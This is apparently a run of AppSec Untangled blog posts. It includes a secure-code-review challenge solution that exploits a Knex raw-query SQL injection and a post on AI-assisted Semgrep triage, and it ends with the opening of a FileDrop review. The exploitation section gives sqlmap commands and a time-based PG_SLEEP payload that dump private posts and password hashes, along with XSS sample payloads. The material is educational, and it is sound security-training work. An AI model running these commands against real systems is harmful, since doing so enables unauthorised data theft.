4 & 5. 🧩 Threat model & 🔍 mitigation review

🔓 Business logic

Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login.

IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense.

Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces “public, or mine”:

• Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403).
• Feed: the privacy rule is in the Knex builder’s WHERE.
• Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in.

Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id:

const { title, body, is_private: isPrivate } = req.body;
const updates = {};
if (title !== undefined) updates.title = title;
if (body !== undefined) updates.body = body;
if (isPrivate !== undefined) updates.is_private = isPrivate;

src/routes/posts.js#L87-L91

CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie’s sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth).

JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt.

💉 Source-to-sink

S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off.

S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached.

S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text.

S2, SQL injection in the raw full-text search query ❌. Here’s the query:

async searchPosts(query, userId) {
  if (!query || typeof query !== 'string') {
    return this.getPublicPosts(20);
  }
  const uid = userId || null;
  const sql = `
    SELECT p.*, u.username AS author_username
    FROM posts p
    JOIN users u ON p.user_id = u.id
    WHERE (p.is_private = false OR p.user_id = ?)
      AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
    ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
    LIMIT 50
  `;
  const result = await knex.raw(sql, [uid]);
  ...
}

src/store/database.js#L117-L134

Look at the two values in it:

• The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe.
• The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped.

The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it.

💡 Reviewer’s lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path.

6. 🧪 Exploitation

Why the classic payload fails

The textbook test is x') OR 1=1 --. Here it returns a 500:

$ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --"
{"error":"Internal server error"}

The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY:

ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC
LIMIT 50
 - syntax error at or near "LIMIT"

A 500 doesn’t mean “not exploitable”. It means the payload has to be valid SQL in both places. You don’t need to be an expert at building SQL injection payloads to get there, because you can automate it.

The setup

A victim, Alice, has a public post and a private one. Bob has a weak password:

B=http://localhost:3000/api
curl -s -X POST $B/auth/register -H Content-Type:application/json \
  -d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}'
A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \
  -d '{"username":"alice","password":"alicepass123"}' | jq -r .token)
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
  -d '{"title":"Hello world","body":"My first public post on Blogger."}'
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
  -d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}'
curl -s -X POST $B/auth/register -H Content-Type:application/json \
  -d '{"username":"bob","email":"bob@example.com","password":"password"}'

Control: the private post is protected everywhere else:

$ curl -s $B/posts/2
{"error":"Access denied"}
$ curl -s -G $B/posts/search --data-urlencode "q=acquisition"
{"posts":[]}

Every command below runs without any token or cookie. The attacker doesn’t need an account.

Step 1: let sqlmap find a payload that works

sqlmap tries hundreds of payloads until one works:

$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
    --dbms=PostgreSQL --batch --time-sec 1 --is-dba
...
[10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable
...
[10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
...
Parameter: q (GET)
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||'
---
back-end DBMS: PostgreSQL
current user is DBA: True
[10:21:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 584 times

What the options do:

• -u "…/search?q=1": the target URL, with a normal value for the parameter
• -p q: test only the q parameter
• --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones
• --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml)
• --batch: accept the default answer to every prompt
• --time-sec 1: how long the database sleeps for a "yes" (the default is 5)
• --is-dba: check whether the database user is a superuser

How to read the output:

• “might not be SQL injectable”: sqlmap’s quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going.
• 584 × 500 errors: most payloads break the SQL, partly because the term lands twice.
• The payload that works doesn’t break out of the string. It glues a sub-query onto it with Postgres’s || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true.
• Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions (“is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.)
• current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges.

If you want to understand how payloads like these are built, PayloadsAllTheThings’ PostgreSQL injection page is a good reference.

Step 2: read Alice’s private post

$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
    --dbms=PostgreSQL --batch --time-sec 1 \
    --dump -D public -T posts -C title,body --where "is_private=true"
...
Database: public
Table: posts
+-------------------+---------------------------------------------+
| title             | body                                        |
+-------------------+---------------------------------------------+
| Acquisition plans | Secret: we are buying Initech next quarter. |
+-------------------+---------------------------------------------+

Step 3: dump the users table

$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
    --dbms=PostgreSQL --batch --time-sec 1 \
    --dump -D public -T users -C username,password_hash
...
+----------+--------------------------------------------------------------+
| username | password_hash                                                |
+----------+--------------------------------------------------------------+
| alice    | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K |
| bob      | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme |
+----------+--------------------------------------------------------------+

sqlmap also offers a dictionary attack on the hashes it dumps. Bob’s weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common.

Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too.

Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table.

7. 🛠️ The fix

Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder:

const sql = `
       SELECT p.*, u.username AS author_username
       FROM posts p
       JOIN users u ON p.user_id = u.id
       WHERE (p.is_private = false OR p.user_id = ?)
-        AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
-      ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
+        AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)
+      ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC
       LIMIT 50
     `;
-    const result = await knex.raw(sql, [uid]);
+    const result = await knex.raw(sql, [uid, query, query]);

With the fix, sqlmap’s sleep payload becomes plain search text and returns instantly:

"hello"                                -> [{"id":1,"title":"Hello world"}] (63 ms)
"1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms)
"acquisition"                          -> [] (1 ms)   (anonymous caller: the private post stays hidden)

plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject.

Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed’s:

knex('posts as p')
  .join('users as u', 'p.user_id', 'u.id')
  .where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); })
  .whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query])
  .orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query])
  .limit(50)
  .select('p.*', 'u.username as author_username');

Defense-in-depth (do these too):

1. Use a least-privilege database role. Don’t connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do.
2. Enforce privacy in the database with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows.
3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching knex.raw(`...${$X}...`) and whereRaw(`...${$X}...`) in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule.
4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do.
5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal.

🌍 Real-world examples

• Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025–25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution.
• Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string.

📚 More resources

• OWASP SQL Injection Prevention Cheat Sheet
• OWASP Query Parameterization Cheat Sheet
• Knex: raw queries & bindings
• PostgreSQL: Row Security Policies
• sqlmap and its usage wiki
• PortSwigger Web Security Academy: SQL injection and Blind SQL injection

🎯 Takeaway

A query builder doesn’t make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding.

And when an injection “only errors”, don’t call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload.

🔔 What’s next

Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops?

👉 https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory

New challenges land every two weeks, and each drop includes the previous challenge’s solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.

If you found the bug yourself, or took a different route to it, tell me in the comments 👇

The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

AI does make us faster, and we can’t afford to give that up. But if you’re not careful, “faster” quietly turns into “I shipped this and can’t explain it”. This post is about a way to use AI that keeps the speed and leaves you understanding what you did.

I’ll explain the problem first, then walk through one of my day-to-day tasks, triaging static analysis (SAST) findings, done two ways: with a one-line “just triage it” prompt, and with AI used to help me understand. Both reach the same verdicts. Only one of them leaves me able to defend those verdicts.

🎥 Prefer video?

🛤️ The long way is where the learning happens

Every task is a trip from “task” to “done”. The long way is reading, searching, trying, failing and trying again. It’s slow, but that’s where you pick up tools, debugging habits, patterns, mental models, trade-offs and skills.

Humans take the path of least resistance, so we’ve always looked for shortcuts. Copying an answer from Stack Overflow was the classic one.

⚡ AI is the ultimate shortcut

Now a huge share of our tasks can be done, fully or partly, by telling AI: “do it for me”. Most of the time the result is good enough.

That shortcut skips the long way entirely. We also can’t simply refuse it: what’s expected of us has gone up, because everyone can now get more done with AI.

🌡️ Cognitive debt

Skip the learning once and nothing happens. But each time you take the shortcut, you finish a task without fully understanding how it works or why it was done that way. That gap is cognitive debt.

The debt stays invisible for a while. Then one day you hit a problem AI can’t solve, and you have no idea where you are, where to start or where to go. We’ve all heard of codebases that were thrown away because rebuilding them was easier than understanding them, sometimes even for the AI that wrote them.

⚖️ The fix: a shortcut that balances doing and understanding

The answer isn’t to stop using AI. It’s to take a slightly longer shortcut, one that balances two things:

• Doing: finishing the task, fast.
• Understanding: knowing what was done, how, and why (the decisions and trade-offs), and learning to do it yourself.

You’re still much faster than on the long way, but you arrive smarter instead of in debt.

You don’t need to do this for everything. Set a threshold based on risk: a throwaway script can take the fast path. A decision you’ll have to defend, like a security finding, can’t.

The good news: AI is also very good at helping you understand. Here’s what that looks like on a real task.

🧪 The demo: triaging Semgrep findings

The app is a small Express + PostgreSQL order tracker, built in layers like a real app: route → middleware → controller → service → repository. Customers list their orders, download CSV exports and leave comments. Admins see revenue reports.

📌 Demo repo: mohamed-osama-aboelkheir/ai-sast-triage-demo. It’s deliberately vulnerable. main is the clean app; reference-output has everything the AI produced in this post.

I ran Semgrep (the free p/default ruleset) and got a handful of findings, all marked as blocking:

• SQL injection in orderRepository.js (ORDER BY ${orderBy})
• SQL injection in reportRepository.js (FROM ${tableName})
• Path traversal in exportService.js
• XSS through an unescaped EJS tag in comments.ejs
• No CSRF middleware in app.js

As an AppSec engineer, my job is to decide which are real, how severe they are, and which ones are worth an engineer’s time. And let’s say I don’t know this codebase well.

⚡ Approach 1: “just triage it”

The shortest path: open Claude Code, paste the Semgrep output, and ask:

semgrep scan returned the below results, please triage the findings and let me know which are true and which are false positive, and suggest severity and fixes

A couple of minutes later I had a tidy answer:

• SQL injection in ORDER BY: true positive, High
• Path traversal in /exports: true positive, High
• Table name in reportRepository: false positive
• <%- %> XSS: false positive
• Missing CSRF middleware: false positive

It’s a good answer, and it even explains itself. But look at the two SQL injection findings:

// src/repositories/orderRepository.js — flagged
`SELECT id, total, status, created_at FROM orders
 WHERE user_id = $1 AND ($2::text IS NULL OR status = $2)
 ORDER BY ${orderBy}`

// src/repositories/reportRepository.js — flagged
`SELECT count(*)::int AS orders, coalesce(sum(total), 0) AS revenue FROM ${tableName}`

Same library, same pattern: a variable pasted into the SQL text. One is “High”, the other is “false positive”. If I don’t know the codebase, I can’t tell whether that’s right. I could still copy the verdicts into tickets and move on. That’s fast, and it’s exactly how cognitive debt builds up. And the moment an engineer pushes back with “this isn’t exploitable”, I have nothing to say.

So let’s take the two SQL injection findings and do it again, with AI helping me understand.

🧠 Approach 2: understand, trace, decide, prove

I packaged each step as a Claude Code skill in the appsec-skills plugin, so you can repeat it:

/plugin marketplace add mohamed-osama-aboelkheir/appsec-untangled-resources
/plugin install appsec-skills@appsec-untangled

Each step leaves a file you can read, check and reuse, not chat text you throw away.

1. 🗺️ Understand: read the code like a story

Looking at the two flagged files on their own doesn’t tell me much. What’s orderRepository.find? Who calls reportRepository.summary? Code is written to be used by people, so the useful context is the story: which user action reaches this line, and what passes through on the way.

Let’s start by understanding the context using the /appsec-skills:code-walkthrough skill to explain how the affected backend routes work, and how users interact with them.

The code-walkthrough skill produces two things for each flow:

• a sequence diagram: one column per layer, a colour band per phase, 🔒 for security controls, 🎯 for untrusted input and ⚠️ for the sink;
• a CodeTour file, a VS Code extension that walks you through the code step by step, the way the engineer who wrote it would. Step N in the tour is step N in the diagram.

Here’s the story for GET /orders (the full diagram also covers the 401/400/500 exits):

Two steps stand out:

• Step 8: the controller validates status against an allowlist, but sort is not checked.
• Steps 9–10: sort is renamed orderColumn, then orderBy, on its way down to the query.

The second story, GET /reports/:reportId, is different. It needs an admin, and the controller uses reportId to look up an entry in a config object. Unknown IDs get a 404:

If you were paying attention, you may already see the difference. If not, that’s what the next step is for.

2. 🔍 Trace: source-to-sink

Source-to-sink analysis asks one question: does user input reach the dangerous function, and does anything stop it on the way?

Now using this context, perform the /appsec-skills:source-to-sink analysis for both findings, and share a verdict on whether each is a true or false positive.

The skill walks back from each sink, hop by hop. It draws one chain of code cards per source, with the value in bold on every line and arrows named after what the value is called next.

Finding 1: a red chain (user input) goes from req.query.sort straight to ORDER BY. The only check on the way (🚫) covers status, not sort:

Here’s that path in the code (controller, service):

// src/controllers/ordersController.js
exports.list = async (req, res) => {
  const { status, sort } = req.query;
  if (status && !ALLOWED_STATUSES.includes(status)) {   // only status is checked
    return res.status(400).json({ error: 'invalid status' });
  }
  const orders = await orderService.search({ status, orderColumn: sort }, req.user);
  res.json(orders);
};

// src/services/orderService.js
exports.search = (filters, user) =>
  orderRepository.find(user.id, filters.status, filters.orderColumn || 'created_at');

$1 and $2 are bound parameters, but column names can't be bound, so ORDER BY ${orderBy} takes whatever the user sends. True positive.

Finding 2: the user’s reportId stops ✋ at a lookup into a hard-coded object. The value that actually reaches FROM is a blue chain (config), not user input:

(controller, config)

// src/config/reports.js
module.exports = {
  daily:   { title: 'Orders in the last 24 hours', table: 'orders_daily_summary' },
  monthly: { title: 'Orders this month',           table: 'orders_monthly_summary' },
};

// src/controllers/reportsController.js
const definition = reports[req.params.reportId];   // input picks an entry...
if (!definition) return res.status(404).json({ error: 'unknown report' });
res.json(await reportService.build(definition));   // ...the table name comes from config

The user chooses which trusted value is used. They never supply SQL. False positive. It’s still worth a low-priority fix (an allowlist, or Object.hasOwn, so /reports/constructor doesn't return a 500), but it's nowhere near as urgent as finding 1.

💡 The two sinks look identical. Only the trace tells them apart.

I reached the same verdicts as the one-line prompt. The difference is that I can now defend them: I can show an engineer the exact path, the missing check and the fix.

3. 📋 Decide: an output template with evidence

That worked for two findings. To do it at scale, I use another trick: an output template. When I triage by hand, I look for the same things every time: the sink, the inputs that reach it, the path between them, the controls on that path, and then a verdict and a severity. So I make the AI fill in exactly those fields.

Now using this context, use /appsec-skills:semgrep-triage to triage both findings.

The semgrep-triage skill runs source-to-sink for every finding, checks each control against a wiki of mitigations and known bypasses, and writes one report. Here are the important parts for finding 1 (abridged):

F1 · SQL injection in ORDER BY via sort · ✅ True positive · 🟠 High ⬆️

• Inputs reaching it: 🔴 req.query.sort (any logged-in user) reaches the sink unchanged; ⚪ 'created_at' is the constant default.
• Controls on the path:

requireAuth: decides who can send sort, not what it contains.

🚫 Status allowlist: checks status only.

🚫 Parameterised query: binds userId and status; identifiers can't be bound.

🚫 Sort allowlist: none.

• Severity: 🟠 High = Impact High × Likelihood Medium. ORDER BY accepts sub-selects, so the row order becomes a yes/no oracle over the whole database, including the admin's API token. Any logged-in user can reach it.
• Why Semgrep says less: the rule’s MEDIUM/LOW is generic. It can’t see that orderBy comes straight from the query string.
• Suggested fix: an allowlist of sort columns, right next to the existing status check:

const SORT_COLUMNS = new Map([['total', 'total'], ['status', 'status'], ['created_at', 'created_at']]);

if (sort !== undefined && !SORT_COLUMNS.has(sort)) {
  return res.status(400).json({ error: 'invalid sort' });
}
const orders = await orderService.search({ status, orderColumn: SORT_COLUMNS.get(sort) }, req.user);

The part I care about most is Evidence (Manual Reproduction): the steps to reach the same conclusion myself, without trusting the AI.

1. Read the sink: src/repositories/orderRepository.js:7-11.
2. Find who calls it: grep -rn "orderRepository.find" src → orderService.js:4.
3. Find where orderColumn is set: grep -rn "orderColumn" src → ordersController.js:11, orderColumn: sort.
4. Find where sort comes from: ordersController.js:6, req.query. The only check (:7) is on status.
5. Find who can send it: routes/orders.js:5, requireAuth only.
6. Confirm locally: ?sort=total → 200 sorted by total; ?sort=price → 500, and the server log shows column "price" does not exist. The value reached the SQL text.

And for the false positive, the report doesn’t just dismiss it. It says when it would become real, and what to do with the rule:

• Would become a true positive if: tableName were ever taken from the request.
• Rule decision: keep the rule enabled (it found a real bug in F1) and suppress this one instance with a comment that points to the triage.

The template does two things. It makes the AI follow the steps I would follow. (Without it, a model will often give a verdict, then admit “actually I didn’t check X” when you push.) And it teaches me the pattern every time I read a report. If you’d like to test yourself first, run it with --learn: you give your own verdict, then compare.

4. 🧪 Prove: an experiment instead of trust

Now the XSS finding. The template prints each comment unescaped:

<!-- src/views/comments.ejs:18 -->
<div><%- comment.html %></div>

<%- doesn't escape HTML, so Semgrep flags it. The triage traced user input from POST /comments to this line, and found one control on the way (source):

// src/utils/markdown.js
exports.render = (text) => DOMPurify.sanitize(marked.parse(text));

Verdict: false positive, because DOMPurify removes the payload. But say I’ve never used DOMPurify. Why is it enough? I could read the docs. Or I could ask AI to build me a small experiment I can run myself:

Create an /appsec-skills:security-experiment to explain how DOMPurify sanitize mitigates XSS with a simple example.

The security-experiment skill writes a Jupyter notebook (a Deno kernel, with the app's real library versions and its real template). It sends one classic payload through the app's steps, one cell per step, first without DOMPurify and then with it:

── Without DOMPurify ──
▶ marked.parse(text)
  <p>Package arrived damaged <img src="x" onerror="alert('XSS')"></p>
  ⚠️  dangerous: onerror="alert('XSS')"

── With DOMPurify ──
▶ DOMPurify.sanitize(html)
  <p>Package arrived damaged <img src="x"></p>
  ✅ nothing dangerous left

▶ what DOMPurify removed
  ✂️  onerror="alert('XSS')" from <img>: event handlers are not on its allowlist

The notebook ends with why that’s enough (it runs on every render, after marked, as the last step before <%-) and what would break it (removing it, moving it to input only, changing the HTML after sanitising, or an outdated version with a known bypass). I saw the control work. I didn't just take its word for it.

✅ Same verdicts, very different engineer

After both approaches:

• Approach 1 gave me verdicts in two minutes. I couldn’t explain them, and the next similar finding would take just as long, because I learned nothing.
• Approach 2 gave me the same verdicts with a few short prompts, plus:

1. diagrams and tours of how the feature actually works;

2. a trace showing exactly why two identical-looking findings differ;

3. a report with reproduction steps and a tested fix I can hand to the engineer;

4. an experiment that taught me how DOMPurify works.

I can now go to the engineering team with a priority I can stand behind: fix the ORDER BY injection now; the table-name pattern is a low-priority hardening task.

🎯 Takeaway

None of these techniques are specific to security. Wherever you use AI, you can ask it to:

• Visualise: turn code into a diagram and a guided tour, so you read it as a story;
• Trace: follow one value through the layers instead of trusting a summary;
• Template: make it fill in the fields you would check yourself, with evidence;
• Experiment: build something small you can run, to see the claim hold;
• Quiz you: give your own answer first, then compare (--learn).

AI is a powerful tool, and using it does make you more efficient. Just keep an eye on the cognitive debt. Balance doing and understanding, so you’re faster now and not stuck later.

🔔 Try it yourself

• 📌 Demo app (deliberately vulnerable) and every AI output from this post: ai-sast-triage-demo
• 🧰 The skills: appsec-skills (code-walkthrough, source-to-sink, semgrep-triage, security-experiment). PRs are welcome.
• 🎥 More on YouTube: AppSec Untangled

How do you use AI to learn and not just to finish tasks? Tell me in the comments. I’d love to add more ideas to the skills.

Use AI to Get Smarter, Not Lazier was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

It still lets any anonymous visitor read, overwrite and delete every other user’s files. The way in is the username field on the sign-up form.

This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.

🎥 Prefer video? The full walkthrough is on YouTube:

What is the Secure Code Review Challenge?

It’s a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.

Every solution follows the same 7-step methodology:

1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren’t
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth

📌 Repo: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #6 source: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop

⚠️ Spoiler warning: if you want to try FileDrop yourself first, stop here and come back later.

1. 🗺️ Understanding the application

FileDrop is a personal file-storage service. You sign in, upload files, list them, download them and delete them.

• Backend: Express.js (Node)
• Frontend: a React single-page app, served by the same Express server
• Database: MongoDB stores the user records
• File storage: the uploaded files themselves are stored on the container’s filesystem
• Auth: JWT bearer tokens in the Authorization header (no cookies)

The README makes one security promise:

“Every account has its own storage area on disk; the files in it are private to that account.”

The whole review comes down to whether that promise holds.

A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user logs in, uploads and downloads a file.

🚀 Story 1: what happens when the app starts

docker-compose.yml starts two containers: a stock mongo:6.0 and the app. The app gets one important setting, the storage root:

app:
    build: .
    environment:
      - MONGODB_URI=mongodb://mongodb:27017/filedrop
      - PORT=3000
      - STORAGE_ROOT=/app/data/files

docker-compose.yml

The Dockerfile builds the React client, then runs node app.js. In app.js, the server refuses to start without a JWT secret, which is a good sign:

if (!process.env.JWT_SECRET) {
  console.error('JWT_SECRET is not set. Refusing to start.');
  process.exit(1);
}

app.js#L19-L22

Then it registers global middleware, including a defense we’ll come back to later, express-mongo-sanitize, and a strict Content Security Policy:

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(mongoSanitize());   // strips keys containing $ or . → blocks NoSQL operator injection

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'"
  );
  res.setHeader('X-Content-Type-Options', 'nosniff');
  ...
});

app.js#L34-L47

Finally it mounts two routers. /api/auth is public, and everything under /api/files goes through requireAuth:

app.use('/api/auth', authRoutes);
app.use('/api/files', requireAuth, filesRoutes);

app.js#L54-L55

On first boot, a seed script creates two demo accounts, demo and casey. Casey gets a file that's obviously sensitive, which makes it a good target for proving a cross-account read:

{
  username: 'casey',
  ...
  files: {
    'q3-forecast.csv': 'quarter,revenue,margin\n...',
    'private-keys-backup.txt': 'reminder: rotate the staging API token before the audit\n'
  }
}

src/store/seed.js#L18-L28

🔄 Story 2: register → log in → upload → download

Register. The register route validates the input. Read this part carefully, because it matters later:

const { username, email, password } = req.body;

if (typeof username !== 'string' || typeof email !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Invalid field types' });
}

const trimmedUsername = username.trim();
if (trimmedUsername.length < MIN_USERNAME_LENGTH || trimmedUsername.length > MAX_USERNAME_LENGTH) {
  return res.status(400).json({
    error: `Username must be between ${MIN_USERNAME_LENGTH} and ${MAX_USERNAME_LENGTH} characters`
  });
}
if (!EMAIL_PATTERN.test(email.trim())) { ... }       // email must look like an email
if (password.length < MIN_PASSWORD_LENGTH) { ... }   // password ≥ 8 chars

const passwordHash = await bcrypt.hash(password, 10);
const user = await db.createUser(trimmedUsername, email, passwordHash);

src/routes/auth.js#L34-L69

The email gets a format check and the password gets a length check. The username gets a type check and a length check (3–32 characters), and nothing else.

Log in. The login route looks the user up by username, compares bcrypt hashes, and returns the same generic error whether the user doesn’t exist or the password is wrong. That’s good practice, because it doesn’t reveal which usernames exist. On success it signs a JWT with HS256:

const user = await db.findUserByUsername(username);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });

const passwordMatch = await bcrypt.compare(password, user.passwordHash);
if (!passwordMatch) return res.status(401).json({ error: 'Invalid credentials' });

const token = issueToken(user);   // jwt.sign({ userId, username, email }, JWT_SECRET, { algorithm: 'HS256', expiresIn: '24h' })

src/routes/auth.js#L102-L112 · issueToken, auth.js#L20-L26

The React client stores the token in localStorage and sends it as a bearer header on every request:

async function request(path, { method = 'GET', body, headers = {} } = {}) {
  const token = getToken();                       // localStorage 'filedrop.token'
  const finalHeaders = { ...headers };
  if (token) {
    finalHeaders.Authorization = `Bearer ${token}`;
  }
  ...
}

web/src/api.js#L17-L22

